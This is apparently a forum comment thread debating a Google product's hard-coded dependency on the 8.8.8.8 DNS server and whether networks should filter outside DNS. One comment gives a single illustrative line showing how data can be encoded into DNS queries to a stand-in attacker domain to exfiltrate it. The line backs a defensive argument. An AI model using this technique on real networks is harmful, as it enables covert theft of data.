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by smcl 2685 days ago
Well there are nearly infinite ways to route traffic to/from YouTube.com, that is how the internet works. However for this product there is a very hard dependency on this one specific IP address, which isn’t documented and is pretty unreasonable
1 comments
shawnz 2685 days ago
> Well there are nearly infinite ways to route traffic to/from YouTube.com, that is how the internet works.

I'm talking about the endpoint. YouTube.com resolves to a finite set of IP addresses, and accessing YouTube requires that outgoing traffic is allowed to all of them. All of this is entirely under the control of Google, so how does adding one small additional dependency on 8.8.8.8 affect the end user's control in any way? It's just one more IP address that has to be allowed to be able to use YouTube, and it's equally as documented as the others (i.e. not documented at all).

Additionally, 8.8.8.8 uses anycast routing to distribute the requests over many servers. So it's not like having "one fixed IP" is any worse than having one fixed domain, as you seem to be implying. It's not a single point of failure.

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pixl97 2685 days ago
You do realize that many networks use DNS security products, right?

These networks block all DNS traffic to 'random' DNS servers, including 8.8.8.8 to prevent any number of different attacks. The security device can examine the DNS packet and say 'youtube.com = allowed', or 'yourtube.com = not allowed'. It can also to the reverse "if youtube.com 'expected_ip_set' then allow". By requiring this device to use outside DNS servers you are punching holes in the network for no particularly valid reason.

Unfiltered and uncontrolled DNS is a security risk. I can transmit all your company information out of your network easily with DNS queries.

     get a $UUENCODED_DATA.sequence_id.attack.com
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shawnz 2685 days ago
Good points, although in this case allowing outgoing access to YouTube already allows unrestricted exfiltration of data (you could send a PM or post a comment on a video)
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smcl 2685 days ago
Ah I see - well if your position is that it's not that much of a big deal to add one more IP address and that customers shouldn't mind that much ... then that's pretty subjective. However the reason we are here and talking about this is that one very prominent customer really DOES mind. Judging from the other responses, this person is not alone.

The bigger picture here is that Google has a lot of power and any time they do something like hard-coding their own DNS server in a product (which could be construed as saying "we ARE the internet") people get worried and annoyed, whether this was a benign oversight, innocent mistake or a deliberate act.

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